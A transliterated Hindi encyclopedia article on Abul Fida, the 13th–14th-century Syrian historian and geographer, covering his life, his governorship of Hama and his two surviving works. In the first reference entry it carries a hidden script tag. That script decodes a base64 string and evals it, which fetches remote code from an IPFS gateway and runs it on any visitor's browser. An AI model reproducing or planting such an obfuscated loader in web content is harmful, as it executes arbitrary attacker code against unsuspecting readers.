अबुल फ़िदा
abul fida siriya ke prasiddh itihasakar tatha bhoogolavetta; janm damishk, navanbar,1273. abul fida ka sanbandh ayyubid shasak parivar se hai. unhonean apane chacha hama ke shahazade malik mansoor ke anushasan mean rahakar hamalavaroan ke khilaph hue yuddh mean mukhy bhag liya. sanh 1299 ee. mean apane ni:santan bhatije, mahamood dvitiy ke marane ke bad abul fida ko asha thi ki ve hama ke rajyapramukh pad ke adhikari hogean, kiantu unhean nirash hona p da aur yah pad saankar namak ek amir ko diya gaya. abul fida ne mamaluk sultanoan ke yahaan naukari kar li. apani naukari ke barah varshoan ke bad 14 aktoobar,1310 ee. ko ve hama ke jagiradar ho ge. do sal bad unaka samant pad pradeshik shasak ke roop mean badal gaya. sanh 1319 ee. mean unhoanne sultan muhammad ke sath haj ki yatra ki. pun: kahira lautane par sultan ne abul fida ko al-malik al mooayyid ki upadhi di aur sultan pad ke siropa se vibhooshit kiya. is pratishtha ke atirikt unhean siriya ke sabhi gavarnaroan ki apeksha adhik mahatv diya gaya. 27 aktoobar, 1331 ee. ko unaki mrityu ho gee.
abul fida sahityik ruchi aur parishkrit vicharoan vala shahazada tha. unhoanne anek vidvanoan tatha sahityakaroan ka dhyan apani or akrisht kiya, dharmik aur sahityik vishayoan par gady aur pady mean kee pustakean likhian, kiantu lagabhag sabhi rachanaean nasht ho geean. keval do pustakean hi, jo itihas aur bhoogol par likhi gee hai, prapt haian jinapar unaki khyati adharit hai. mookhtasar tarikh--il--bashar (manav ka sankshipt itihas) ek sarvabhaum itihas hai jisamean sanh 1329 ee. tak ka varnan hai. isaka praranbhik bhag mukhyat: ibni asir ki kriti par adharit hai. isaka prakashan 1869 mean hua.[1]
takavim--il--buladan ganit aur bhautik aank doan se yukt ek varnanatmak bhoogol hai jisaka abool fida ke bad ke lekhakoan ne paryapt matra mean anusaran kiya. isaka sanpadan je.ti. rinanud aur makagukin d slen ne kiya aur 1840 ee. mean yah peris se prakashit hua.[2]
tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 167 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ san.gran._ abul fida ke granthoan mean ae hue atmacharitatmak uddharanoan ke atirikt nimnalikhit pustakoan se unake vishay mean soochanaean milati haian: kutubi phavat: (kairo, 1951) bhag 1, pri. 70; aladuhar alanamina, ibn zazar asqalani (haidarabad, 1929), bhag 1, pri. 371-373; tabakat-ush-shaphiyah subaki, bhag 6, pri. 84-85; iantrodakshan tu di histri av saians; ji sartan (baltimor, 1947) bhag 3, pri. 200, 308, 793-9.
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varnamala kramanusar lekh khoj
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